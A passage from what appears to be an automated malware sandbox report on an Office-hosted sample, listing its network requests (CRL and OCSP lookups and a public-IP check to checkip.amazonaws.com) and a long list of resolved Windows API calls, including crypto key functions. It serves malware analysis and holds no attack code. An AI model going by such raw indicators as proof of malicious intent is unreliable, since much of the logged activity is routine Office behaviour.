  1957. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  1958. "port": 80
  1959. },
  1960. {
  1961. "count": 14,
  1962. "body": "",
  1963. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  1964. "user-agent": "Microsoft-CryptoAPI/6.1",
  1965. "method": "GET",
  1966. "host": "crl.microsoft.com",
  1967. "version": "1.1",
  1968. "path": "/pki/crl/products/microsoftrootcert.crl",
  1969. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  1970. "port": 80
  1971. },
  1972. {
  1973. "count": 2,
  1974. "body": "",
  1975. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  1976. "user-agent": "Microsoft-CryptoAPI/6.1",
  1977. "method": "GET",
  1978. "host": "crl.microsoft.com",
  1979. "version": "1.1",
  1980. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  1981. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  1982. "port": 80
  1983. },
  1984. {
  1985. "count": 5,
  1986. "body": "",
  1987. "uri": "http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl",
  1988. "user-agent": "Microsoft-CryptoAPI/6.1",
  1989. "method": "GET",
  1990. "host": "crl.microsoft.com",
  1991. "version": "1.1",
  1992. "path": "/pki/crl/products/MicrosoftTimeStampPCA.crl",
  1993. "data": "GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 16 Feb 2019 02:02:49 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  1994. "port": 80
  1995. },
  1996. {
  1997. "count": 5,
  1998. "body": "",
  1999. "uri": "http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl",
  2000. "user-agent": "Microsoft-CryptoAPI/6.1",
  2001. "method": "GET",
  2002. "host": "crl.microsoft.com",
  2003. "version": "1.1",
  2004. "path": "/pki/crl/products/MicrosoftTimeStampPCA.crl",
  2005. "data": "GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2006. "port": 80
  2007. },
  2008. {
  2009. "count": 1,
  2010. "body": "",
  2011. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2012. "user-agent": "Microsoft-CryptoAPI/6.1",
  2013. "method": "GET",
  2014. "host": "crl.microsoft.com",
  2015. "version": "1.1",
  2016. "path": "/pki/crl/products/microsoftrootcert.crl",
  2017. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2018. "port": 80
  2019. },
  2020. {
  2021. "count": 1,
  2022. "body": "",
  2023. "uri": "http://checkip.amazonaws.com/",
  2024. "user-agent": "",
  2025. "method": "GET",
  2026. "host": "checkip.amazonaws.com",
  2027. "version": "1.1",
  2028. "path": "/",
  2029. "data": "GET / HTTP/1.1\r\nHost: checkip.amazonaws.com\r\nConnection: Keep-Alive\r\n\r\n",
  2030. "port": 80
  2031. }
  2032. ]
  2033.  
  2034. [*] Network Communication - SMTP: []
  2035.  
  2036. [*] Network Communication - Hosts: []
  2037.  
  2038. [*] Network Communication - IRC: []
  2039.  
  2040. [*] Static Analysis: {}
  2041.  
  2042. [*] Resolved APIs: [
  2043. "mso.dll.#1443",
  2044. "mso.dll.#9214",
  2045. "mso.dll.#199",
  2046. "mso.dll.#1073",
  2047. "mso.dll.#4255",
  2048. "mso.dll.#3459",
  2049. "mso.dll.#1262",
  2050. "mso.dll.#5709",
  2051. "mso.dll.#7353",
  2052. "mso.dll.#5228",
  2053. "mso.dll.#2155",
  2054. "mso.dll.#1283",
  2055. "mso.dll.#2024",
  2056. "mso.dll.#5274",
  2057. "mso.dll.#3195",
  2058. "mso.dll.#6221",
  2059. "mso.dll.#2314",
  2060. "mso.dll.#408",
  2061. "mso.dll.#2714",
  2062. "mso.dll.#8622",
  2063. "mso.dll.#3380",
  2064. "mso.dll.#2052",
  2065. "mso.dll.#677",
  2066. "mso.dll.#469",
  2067. "mso.dll.#7974",
  2068. "mso.dll.#2609",
  2069. "bcryptprimitives.dll.GetHashInterface",
  2070. "cryptnet.dll.CertDllVerifyRevocation",
  2071. "mso.dll.#8499",
  2072. "sechost.dll.ConvertSidToStringSidW",
  2073. "profapi.dll.#104",
  2074. "sensapi.dll.IsNetworkAlive",
  2075. "rpcrt4.dll.RpcBindingFromStringBindingW",
  2076. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  2077. "rpcrt4.dll.NdrClientCall2",
  2078. "oleaut32.dll.#7",
  2079. "winhttp.dll.WinHttpOpen",
  2080. "winhttp.dll.WinHttpSetTimeouts",
  2081. "winhttp.dll.WinHttpSetOption",
  2082. "winhttp.dll.WinHttpCrackUrl",
  2083. "winhttp.dll.WinHttpConnect",
  2084. "winhttp.dll.WinHttpOpenRequest",
  2085. "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
  2086. "winhttp.dll.WinHttpGetIEProxyConfigForCurrentUser",
  2087. "winhttp.dll.WinHttpTimeFromSystemTime",
  2088. "winhttp.dll.WinHttpSendRequest",
  2089. "winhttp.dll.WinHttpReceiveResponse",
  2090. "winhttp.dll.WinHttpQueryHeaders",
  2091. "shlwapi.dll.StrStrIW",
  2092. "winhttp.dll.WinHttpQueryDataAvailable",
  2093. "winhttp.dll.WinHttpReadData",
  2094. "winhttp.dll.WinHttpCloseHandle",
  2095. "cryptnet.dll.I_CryptNetGetConnectivity",
  2096. "cryptnet.dll.CryptRetrieveObjectByUrlW",
  2097. "setupapi.dll.SetupIterateCabinetW",
  2098. "kernel32.dll.RegOpenKeyExW",
  2099. "kernel32.dll.RegCloseKey",
  2100. "cabinet.dll.#20",
  2101. "cabinet.dll.#22",
  2102. "devrtl.dll.DevRtlGetThreadLogToken",
  2103. "cryptsp.dll.CryptSetHashParam",
  2104. "sechost.dll.OpenSCManagerW",
  2105. "sechost.dll.OpenServiceW",
  2106. "sechost.dll.QueryServiceConfigA",
  2107. "sechost.dll.QueryServiceStatus",
  2108. "sechost.dll.CloseServiceHandle",
  2109. "rpcrt4.dll.RpcStringBindingComposeA",
  2110. "rpcrt4.dll.RpcBindingFromStringBindingA",
  2111. "rpcrt4.dll.RpcEpResolveBinding",
  2112. "sechost.dll.LookupAccountSidLocalW",
  2113. "rpcrt4.dll.RpcStringFreeA",
  2114. "rpcrt4.dll.RpcBindingFree",
  2115. "webservices.dll.WsResetHeap",
  2116. "webservices.dll.WsCloseServiceProxy",
  2117. "ws2_32.dll.#3",
  2118. "ncrypt.dll.SslDecrementProviderReferenceCount",
  2119. "ncrypt.dll.SslFreeObject",
  2120. "webservices.dll.WsFreeServiceProxy",
  2121. "mso.dll.#1725",
  2122. "user32.dll.RegisterWindowMessageW",
  2123. "mso.dll.#4314",
  2124. "sxs.dll.SxsOleAut32MapReferenceClsidToConfiguredClsid",
  2125. "mso.dll.#6484",
  2126. "mso.dll.#9871",
  2127. "mso.dll.#4743",
  2128. "mso.dll.#5452",
  2129. "mso.dll.#2088",
  2130. "user32.dll.GetForegroundWindow",
  2131. "mso.dll.#7531",
  2132. "mso.dll.#5315",
  2133. "mso.dll.#8140",
  2134. "user32.dll.IsWindowEnabled",
  2135. "ole32.dll.CoGetCallState",
  2136. "ole32.dll.CoGetActivationState",
  2137. "advapi32.dll.RegisterWaitChainCOMCallback",
  2138. "mso.dll.#9175",
  2139. "user32.dll.SetRect",
  2140. "mso.dll.#25",
  2141. "mso.dll.#1056",
  2142. "mso.dll.#8136",
  2143. "mso.dll.#8931",
  2144. "shell32.dll.SHGetFileInfoW",
  2145. "mso.dll.#5362",
  2146. "mso.dll.#6044",
  2147. "mso.dll.#6516",
  2148. "mso.dll.#5780",
  2149. "mso.dll.#4870",
  2150. "mso.dll.#6046",
  2151. "mso.dll.#1241",
  2152. "mso.dll.#2821",
  2153. "mso.dll.#2340",
  2154. "mso.dll.#7287",
  2155. "mso.dll.#5290",
  2156. "mso.dll.#1508",
  2157. "user32.dll.IsZoomed",
  2158. "user32.dll.GetWindowPlacement",
  2159. "user32.dll.GetWindowRect",
  2160. "mso.dll.#821",
  2161. "user32.dll.GetSystemMetrics",
  2162. "user32.dll.MonitorFromWindow",
  2163. "user32.dll.MonitorFromRect",
  2164. "user32.dll.MonitorFromPoint",
  2165. "user32.dll.EnumDisplayMonitors",
  2166. "user32.dll.GetMonitorInfoA",
  2167. "user32.dll.EnumDisplayDevicesA",
  2168. "mso.dll.#2378",
  2169. "user32.dll.SetWindowPos",
  2170. "user32.dll.AdjustWindowRect",
  2171. "mso.dll.#5912",
  2172. "mso.dll.#9719",
  2173. "mso.dll.#8824",
  2174. "mso.dll.#6117",
  2175. "mso.dll.#3307",
  2176. "user32.dll.SendMessageW",
  2177. "user32.dll.DestroyIcon",
  2178. "mso.dll.#3813",
  2179. "mso.dll.#1815",
  2180. "user32.dll.PtInRect",
  2181. "mso.dll.#1613",
  2182. "user32.dll.SetWindowTextW",
  2183. "user32.dll.GetClassLongW",
  2184. "mso.dll.#8572",
  2185. "gdi32.dll.CreateDIBSection",
  2186. "gdi32.dll.CreateCompatibleDC",
  2187. "gdi32.dll.GetViewportOrgEx",
  2188. "gdi32.dll.SetViewportOrgEx",
  2189. "gdi32.dll.SetBkColor",
  2190. "gdi32.dll.ExtTextOutA",
  2191. "mso.dll.#1573",
  2192. "mso.dll.#8612",
  2193. "user32.dll.SetScrollRange",
  2194. "mso.dll.#2509",
  2195. "user32.dll.BeginDeferWindowPos",
  2196. "user32.dll.DeferWindowPos",
  2197. "user32.dll.EndDeferWindowPos",
  2198. "user32.dll.OffsetRect",
  2199. "user32.dll.EnumChildWindows",
  2200. "user32.dll.GetScrollInfo",
  2201. "user32.dll.MapWindowPoints",
  2202. "msptls.dll.?FsCreatePageFinite@Ptls6@@YGJPAUfscontext@1@PBUfsbreakrecpage@1@PAUfsnameclient@1@PAU_fsfmtr@1@PAPAUfspage@1@PAPAU31@@Z",
  2203. "gdi32.dll.DeleteDC",
  2204. "msptls.dll.?FsTransformRectangle@Ptls6@@YGJKPBUtagFSRECT@1@0KPAU21@@Z",
  2205. "mso.dll.#6126",
  2206. "msptls.dll.?LsCreateLine@Ptls6@@YGJPAUlscontext@1@PAUlsparaclient@1@PBUlspap@1@JPBUlslinerestr@1@PBUlsbreakrecline@1@PAPAU61@PAUlslinfo@1@PAPAVCLsLine@1@@Z",
  2207. "gdi32.dll.GetFontRealizationInfo",
  2208. "gdi32.dll.GetFontFileInfo",
  2209. "gdi32.dll.GetFontFileData",
  2210. "mso.dll.#7261",
  2211. "mso.dll.#9540",
  2212. "usp10.dll.ScriptGetFontScriptTags",
  2213. "usp10.dll.ScriptGetFontLanguageTags",
  2214. "usp10.dll.ScriptGetFontFeatureTags",
  2215. "msptls.dll.?LsQueryLineVisibilityWord@Ptls6@@YGJPAVCLsLine@1@PAJPAH@Z",
  2216. "msptls.dll.?LsQueryLineMaxDepth@Ptls6@@YGJPAVCLsLine@1@PAJ@Z",
  2217. "msptls.dll.?LsModifyLineHeight@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@JJJJ@Z",
  2218. "gdiplus.dll.GdipCreatePath",
  2219. "gdiplus.dll.GdipStartPathFigure",
  2220. "gdiplus.dll.GdipAddPathLine2",
  2221. "gdiplus.dll.GdipClosePathFigure",
  2222. "gdiplus.dll.GdipCreateMatrix2",
  2223. "gdiplus.dll.GdipTransformPath",
  2224. "gdiplus.dll.GdipDeleteMatrix",
  2225. "gdiplus.dll.GdipGetPathWorldBounds",
  2226. "gdiplus.dll.GdipCreatePathIter",
  2227. "gdiplus.dll.GdipPathIterRewind",
  2228. "gdiplus.dll.GdipPathIterNextSubpath",
  2229. "gdiplus.dll.GdipPathIterCopyData",
  2230. "gdiplus.dll.GdipDeletePathIter",
  2231. "gdiplus.dll.GdipAddPathLine",
  2232. "gdiplus.dll.GdipDeletePath",
  2233. "gdiplus.dll.GdipClonePath",
  2234. "msptls.dll.?FsTransformPoint@Ptls6@@YGJKPBUtagFSRECT@1@PBUtagFSPOINT@1@KPAU31@@Z",
  2235. "msptls.dll.?FsTransformVector@Ptls6@@YGJKPBUtagFSVECTOR@1@KPAU21@@Z",
  2236. "msptls.dll.?LsDestroyLine@Ptls6@@YGJPAUlscontext@1@PAVCLsLine@1@@Z",
  2237. "msptls.dll.?LsGetObjectName@Ptls6@@YG?AVLSNAMEEXP@1@PBVCLsDnode@1@@Z",
  2238. "msptls.dll.?LsdnFinishWordRegular@Ptls6@@YGJPAVCLsDnode@1@JPAUlsrun@1@PBUlschp@1@PAVCLsObject@1@PBUOBJDIM@1@HHH@Z",
  2239. "msptls.dll.?LsdnSetRigidDup@Ptls6@@YGJPAVCLsDnode@1@J@Z",
  2240. "msptls.dll.?LsEnumLine@Ptls6@@YGJPAVCLsLine@1@HHPBUtagLSPOINT@1@@Z",
  2241. "msptls.dll.?FsQueryPageDetails@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@PAUfspagedetails@1@@Z",
  2242. "msptls.dll.?FsQueryPageSectionList@Ptls6@@YGJPAUfscontext@1@PBUfspage@1@JPAUfssectiondescription@1@PAJ@Z",
  2243. "msptls.dll.?FsQuerySectionDetails@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@PAUfssectiondetails@1@@Z",
  2244. "msptls.dll.?FsQuerySectionCompositeColumnList@Ptls6@@YGJPAUfscontext@1@PBUfssection@1@JPAUfscompositecolumndescription@1@PAJ@Z",
  2245. "msptls.dll.?FsQueryCompositeColumnDetails@Ptls6@@YGJPAUfscontext@1@PBUfscompositecolumn@1@PAUfscompositecolumndetails@1@@Z",
  2246. "msptls.dll.?FsQueryTrackDetails@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@PAUfstrackdetails@1@@Z",
  2247. "msptls.dll.?FsQueryTrackParaList@Ptls6@@YGJPAUfscontext@1@PBUfstrack@1@JPAUfsparadescription@1@PAJ@Z",
  2248. "msptls.dll.?FsQueryTextDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfstextdetails@1@@Z",
  2249. "msptls.dll.?FsQueryLineListComposite@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfslinedescriptioncomposite@1@PAJ@Z",
  2250. "msptls.dll.?FsQueryLineCompositeElementList@Ptls6@@YGJPAUfscontext@1@PBUfsline@1@JPAUfslineelement@1@PAJ@Z",
  2251. "msptls.dll.?FsQueryAttachedObjectList@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@JPAUfsattachedobjectdescription@1@PAJ@Z",
  2252. "msptls.dll.?FsQueryFigureObjectDetails@Ptls6@@YGJPAUfscontext@1@PBUfspara@1@PAUfsfiguredetails@1@@Z",
  2253. "mso.dll.#2566",
  2254. "mso.dll.#1429",
  2255. "mso.dll.#6502",
  2256. "uiautomationcore.dll.UiaClientsAreListening",
  2257. "msptls.dll.?FsDestroyPage@Ptls6@@YGJPAUfscontext@1@PAUfspage@1@@Z",
  2258. "msptls.dll.?FsDestroyContext@Ptls6@@YGJPAUfscontext@1@@Z",
  2259. "user32.dll.SetRectEmpty",
  2260. "user32.dll.IntersectRect",
  2261. "user32.dll.InflateRect",
  2262. "mso.dll.#1100",
  2263. "mso.dll.#7047",
  2264. "msptls.dll.?LsQueryLineDup@Ptls6@@YGJPAVCLsLine@1@PAUlslinearea@1@@Z",
  2265. "user32.dll.GetCursor",
  2266. "user32.dll.GetClientRect",
  2267. "user32.dll.SetScrollInfo",
  2268. "user32.dll.SetScrollPos",
  2269. "mso.dll.#3747",
  2270. "mso.dll.#8218",
  2271. "mso.dll.#5394",
  2272. "mso.dll.#331",
  2273. "mso.dll.#6829",
  2274. "mso.dll.#539",
  2275. "mso.dll.#4959",
  2276. "mso.dll.#6463",
  2277. "mso.dll.#4987",
  2278. "user32.dll.GetWindow",
  2279. "mso.dll.#7195",
  2280. "mso.dll.#7573",
  2281. "mso.dll.#5932",
  2282. "mso.dll.#2071",
  2283. "mso.dll.#1024",
  2284. "mso.dll.#6245",
  2285. "mso.dll.#9041",
  2286. "mso.dll.#1767",
  2287. "mso.dll.#9369",
  2288. "mso.dll.#4617",
  2289. "user32.dll.FillRect",
  2290. "mso.dll.#343",
  2291. "mso.dll.#9636",
  2292. "mso.dll.#2022",
  2293. "mso.dll.#4750",
  2294. "mso.dll.#4577",
  2295. "shell32.dll.SHAddToRecentDocs",
  2296. "mso.dll.#850",
  2297. "mso.dll.#1776",
  2298. "mso.dll.#9026",
  2299. "mso.dll.#4497",
  2300. "mso.dll.#4647",
  2301. "mso.dll.#8926",
  2302. "mso.dll.#7212",
  2303. "mso.dll.#5407",
  2304. "ole32.dll.PropVariantClear",
  2305. "oleaut32.dll.#9",
  2306. "mso.dll.#5152",
  2307. "mso.dll.#3327",
  2308. "mso.dll.#6333",
  2309. "mso.dll.#420",
  2310. "mso.dll.#1335",
  2311. "mso.dll.#2041",
  2312. "mso.dll.#7834",
  2313. "mso.dll.#239",
  2314. "mso.dll.#6357",
  2315. "mso.dll.#7026",
  2316. "mso.dll.#1671",
  2317. "mso.dll.#8263",
  2318. "mso.dll.#9307",
  2319. "mso.dll.#1441",
  2320. "mso.dll.#9223",
  2321. "mso.dll.#6453",
  2322. "mso.dll.#8044",
  2323. "mso.dll.#3698",
  2324. "mso.dll.#8565",
  2325. "mso.dll.#8373",
  2326. "mso.dll.#9741",
  2327. "mso.dll.#478",
  2328. "mso.dll.#479",
  2329. "mso.dll.#340",
  2330. "bcrypt.dll.BCryptOpenAlgorithmProvider",
  2331. "bcrypt.dll.BCryptGetProperty",
  2332. "bcrypt.dll.BCryptCreateHash",
  2333. "bcrypt.dll.BCryptHashData",
  2334. "bcrypt.dll.BCryptFinishHash",
  2335. "bcrypt.dll.BCryptDestroyHash",
  2336. "bcrypt.dll.BCryptCloseAlgorithmProvider",
  2337. "mso.dll.#8633",
  2338. "mso.dll.#5213",
  2339. "mso.dll.#6163",
  2340. "mso.dll.#552",
  2341. "mso.dll.#5630",
  2342. "mso.dll.#2513",
  2343. "mso.dll.#1607",
  2344. "mso.dll.#791",
  2345. "mso.dll.#1848",
  2346. "mso.dll.#8735",
  2347. "mso.dll.#9374",
  2348. "mso.dll.#5286",
  2349. "mso.dll.#6368",
  2350. "mso.dll.#4262",
  2351. "mso.dll.#1010",
  2352. "mso.dll.#7979",
  2353. "mso.dll.#8549",
  2354. "mso.dll.#8970",
  2355. "mso.dll.#9198",
  2356. "mso.dll.#4795",
  2357. "mso.dll.#1865",
  2358. "mso.dll.#9688",
  2359. "mso.dll.#320",
  2360. "advapi32.dll.RegDeleteKeyA",
  2361. "user32.dll.DestroyCursor",
  2362. "mso.dll.#7173",
  2363. "mso.dll.#8511",
  2364. "mso.dll.#3299",
  2365. "mso.dll.#7001",
  2366. "mso.dll.#3913",
  2367. "user32.dll.PeekMessageA",
  2368. "mso.dll.#1380",
  2369. "mso.dll.#9500",
  2370. "user32.dll.TranslateMessage",
  2371. "user32.dll.IsWindowUnicode",
  2372. "user32.dll.DispatchMessageA",
  2373. "user32.dll.DispatchMessageW",
  2374. "user32.dll.UpdateWindow",
  2375. "mso.dll.#999",
  2376. "mso.dll.#287",
  2377. "dwmapi.dll.DwmIsCompositionEnabled",
  2378. "mso.dll.#1575",
  2379. "mso.dll.#5034",
  2380. "mso.dll.#1517",
  2381. "mso.dll.#718",
  2382. "mso.dll.#4708",
  2383. "mso.dll.#8046",
  2384. "mso.dll.#4175",
  2385. "mso.dll.#8672",
  2386. "mso.dll.#1990",
  2387. "mso.dll.#3051",
  2388. "mso.dll.#1819",
  2389. "mso.dll.#1419",
  2390. "oleaut32.dll.#147",
  2391. "kernel32.dll.WerRegisterMemoryBlock",
  2392. "dwrite.dll.DWriteCreateFactory",
  2393. "advapi32.dll.RegDeleteTreeW",
  2394. "xmllite.dll.CreateXmlReader",
  2395. "advapi32.dll.RegQueryValueW",
  2396. "apphelp.dll.ApphelpCheckShellObject",
  2397. "gdi32.dll.GetCurrentObject",
  2398. "gdi32.dll.BitBlt",
  2399. "gdi32.dll.GetClipBox",
  2400. "gdi32.dll.StretchDIBits",
  2401. "riched20.dll.REExtendedRegisterClass",
  2402. "user32.dll.GetWindowLongW",
  2403. "user32.dll.GetSysColor",
  2404. "user32.dll.SetWindowLongW",
  2405. "user32.dll.RegisterWindowMessageA",
  2406. "user32.dll.RegisterClipboardFormatW",
  2407. "user32.dll.GetDoubleClickTime",
  2408. "ole32.dll.CoRevokeInitializeSpy",
  2409. "comctl32.dll.#388",
  2410. "user32.dll.SetCaretBlinkTime",
  2411. "user32.dll.SystemParametersInfoW",
  2412. "user32.dll.GetKeyboardLayoutList",
  2413. "mso.dll._MsoGetFidUspDll@0",
  2414. "mso.dll._MsoLoadLocalizedLibraryEx@12",
  2415. "usp10.dll.ScriptGetProperties",
  2416. "usp10.dll.ScriptItemize",
  2417. "user32.dll.LoadCursorW",
  2418. "user32.dll.IsWindowVisible",
  2419. "user32.dll.GetKeyboardLayout",
  2420. "user32.dll.PostMessageW",
  2421. "user32.dll.DefWindowProcW",
  2422. "uxtheme.dll.IsThemeActive",
  2423. "uxtheme.dll.IsAppThemed",
  2424. "uxtheme.dll.OpenThemeData",
  2425. "user32.dll.GetDC",
  2426. "user32.dll.ReleaseDC",
  2427. "user32.dll.IsIconic",
  2428. "user32.dll.GetParent",
  2429. "usp10.dll.ScriptGetCMap",
  2430. "user32.dll.InvalidateRect",
  2431. "user32.dll.HideCaret",
  2432. "user32.dll.ShowCaret",
  2433. "user32.dll.NotifyWinEvent",
  2434. "user32.dll.GetWindowTextLengthW",
  2435. "user32.dll.EnableWindow",
  2436. "msctf.dll.SetInputScope",
  2437. "user32.dll.GetWindowRgn",
  2438. "gdi32.dll.CreateCompatibleBitmap",
  2439. "gdi32.dll.SaveDC",
  2440. "gdi32.dll.SetPixel",
  2441. "gdi32.dll.GetPixel",
  2442. "gdi32.dll.RestoreDC",
  2443. "imm32.dll.ImmAssociateContext",
  2444. "mso.dll.#806",
  2445. "mso.dll.#4908",
  2446. "mso.dll.#8439",
  2447. "mso.dll.#2736",
  2448. "gdi32.dll.GetTextAlign",
  2449. "gdi32.dll.ExtTextOutW",
  2450. "user32.dll.RegisterPowerSettingNotification",
  2451. "powrprof.dll.PowerSettingRegisterNotification",
  2452. "user32.dll.GetWindowThreadProcessId",
  2453. "user32.dll.GetWindowTextW",
  2454. "mso.dll.#8122",
  2455. "mso.dll.#2114",
  2456. "mso.dll.#6558",
  2457. "gdi32.dll.GetFontData",
  2458. "usp10.dll.ScriptItemizeOpenType",
  2459. "usp10.dll.ScriptLayout",
  2460. "usp10.dll.ScriptShapeOpenType",
  2461. "usp10.dll.ScriptPlaceOpenType",
  2462. "mso.dll.#1318",
  2463. "gdi32.dll.GetTextExtentExPointWPri",
  2464. "mso.dll.#8395",
  2465. "mso.dll.#379",
  2466. "mso.dll.#6338",
  2467. "mso.dll.#7964",
  2468. "mso.dll.#1437",
  2469. "mso.dll.#1427",
  2470. "mso.dll.#6137",
  2471. "winmm.dll.timeGetTime",
  2472. "mso.dll.#7578",
  2473. "mso.dll.#8483",
  2474. "mso.dll.#3055",
  2475. "user32.dll.GetWindowDC",
  2476. "gdi32.dll.SetLayout",
  2477. "gdi32.dll.RectVisible",
  2478. "gdi32.dll.GetClipRgn",
  2479. "gdi32.dll.ExcludeClipRect",
  2480. "gdi32.dll.SelectClipRgn",
  2481. "gdi32.dll.GdiIsMetaPrintDC",
  2482. "mso.dll.#445",
  2483. "user32.dll.BeginPaint",
  2484. "gdi32.dll.SetWindowOrgEx",
  2485. "user32.dll.EndPaint",
  2486. "user32.dll.IsWindowRedirectedForPrint",
  2487. "gdi32.dll.CreateRectRgnIndirect",
  2488. "user32.dll.GetUpdateRgn",
  2489. "gdi32.dll.GetRgnBox",
  2490. "user32.dll.ValidateRect",
  2491. "user32.dll.GetUpdateRect",
  2492. "user32.dll.GetCaretBlinkTime",
  2493. "user32.dll.CreateCaret",
  2494. "mso.dll.#3624",
  2495. "msptls.dll.?LsPointXYFromPointUV@Ptls6@@YGJPBUtagLSPOINT@1@KPBUtagLSPOINTUV@1@PAU21@@Z",
  2496. "msptls.dll.?LsDisplayLine@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINT@1@IPBUtagLSRECT@1@@Z",
  2497. "gdi32.dll.TranslateCharsetInfo",
  2498. "mso.dll.#3300",
  2499. "mso.dll.#7465",
  2500. "mso.dll.#6247",
  2501. "mso.dll.#5070",
  2502. "gdiplus.dll.GdipCreateSolidFill",
  2503. "gdiplus.dll.GdipCreatePen1",
  2504. "gdiplus.dll.GdipSetPenLineCap197819",
  2505. "gdiplus.dll.GdipSetPenLineJoin",
  2506. "gdiplus.dll.GdipSetPenMiterLimit",
  2507. "gdiplus.dll.GdipCreateFromHDC",
  2508. "gdiplus.dll.GdipSetPixelOffsetMode",
  2509. "gdiplus.dll.GdipSetSmoothingMode",
  2510. "gdiplus.dll.GdipSetCompositingQuality",
  2511. "gdiplus.dll.GdipSetPageUnit",
  2512. "gdiplus.dll.GdipSetInterpolationMode",
  2513. "gdiplus.dll.GdipGetSmoothingMode",
  2514. "gdiplus.dll.GdipFillPath",
  2515. "gdiplus.dll.GdipDeleteGraphics",
  2516. "gdiplus.dll.GdipDrawPath",
  2517. "mso.dll.#6899",
  2518. "msptls.dll.?LsQueryLineCpPpoint@Ptls6@@YGJPAVCLsLine@1@JJPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
  2519. "user32.dll.DestroyCaret",
  2520. "user32.dll.GetCaretPos",
  2521. "user32.dll.SetCaretPos",
  2522. "user32.dll.GetFocus",
  2523. "user32.dll.GetClassNameA",
  2524. "mso.dll.#8662",
  2525. "mso.dll.#732",
  2526. "mso.dll.#5804",
  2527. "ole32.dll.CoCreateInstance",
  2528. "mso.dll.#434",
  2529. "user32.dll.GetMessageExtraInfo",
  2530. "user32.dll.GetCursorInfo",
  2531. "user32.dll.GetCapture",
  2532. "user32.dll.TrackMouseEvent",
  2533. "mso.dll.#4746",
  2534. "mso.dll.#424",
  2535. "gdiplus.dll.GdipGetPenWidth",
  2536. "gdiplus.dll.GdipIsOutlineVisiblePathPointI",
  2537. "gdiplus.dll.GdipDeletePen",
  2538. "gdiplus.dll.GdipIsVisiblePathPointI",
  2539. "user32.dll.GetInputState",
  2540. "mso.dll.#8461",
  2541. "user32.dll.GetClipboardOwner",
  2542. "user32.dll.GetActiveWindow",
  2543. "user32.dll.GetAncestor",
  2544. "advapi32.dll.NotifyServiceStatusChangeW",
  2545. "mso.dll.#9465",
  2546. "mso.dll.#4702",
  2547. "user32.dll.GetMessagePos",
  2548. "user32.dll.ScreenToClient",
  2549. "user32.dll.WindowFromPoint",
  2550. "user32.dll.SetFocus",
  2551. "user32.dll.GetDesktopWindow",
  2552. "user32.dll.FindWindowExW",
  2553. "user32.dll.IsClipboardFormatAvailable",
  2554. "mso.dll.#1422",
  2555. "user32.dll.MsgWaitForMultipleObjectsEx",
  2556. "user32.dll.IsWindow",
  2557. "mso.dll.#3544",
  2558. "mso.dll.#900",
  2559. "advapi32.dll.ConvertSidToStringSidW",
  2560. "msi.dll.DllGetVersion",
  2561. "msi.dll.#111",
  2562. "mso.dll.#1885",
  2563. "mso.dll.#832",
  2564. "user32.dll.GetScrollPos",
  2565. "mso.dll.#629",
  2566. "mso.dll.#3702",
  2567. "mso.dll.#3484",
  2568. "mso.dll.#1966",
  2569. "advapi32.dll.CryptAcquireContextA",
  2570. "user32.dll.IsHungAppWindow",
  2571. "cryptsp.dll.CryptAcquireContextA",
  2572. "advapi32.dll.CryptGenKey",
  2573. "cryptsp.dll.CryptGenKey",
  2574. "advapi32.dll.CryptImportKey",
  2575. "cryptsp.dll.CryptImportKey",
  2576. "advapi32.dll.CryptExportKey",
  2577. "cryptsp.dll.CryptExportKey",
  2578. "mso.dll.#6960",
  2579. "mso.dll.#8705",
  2580. "user32.dll.SendNotifyMessageW",
  2581. "advapi32.dll.CryptDestroyKey",
  2582. "cryptsp.dll.CryptDestroyKey",
  2583. "mso.dll.#7892",
  2584. "msi.dll.#39",
  2585. "mso.dll.#9528",
  2586. "mso.dll.#7931",
  2587. "mso.dll.#3837",
  2588. "mso.dll.#8574",
  2589. "mso.dll.#8398",
  2590. "mso.dll.#2477",
  2591. "msproof7.dll.DllGetClassObject",
  2592. "msproof7.dll.DllCanUnloadNow",
  2593. "mso.dll.#4172",
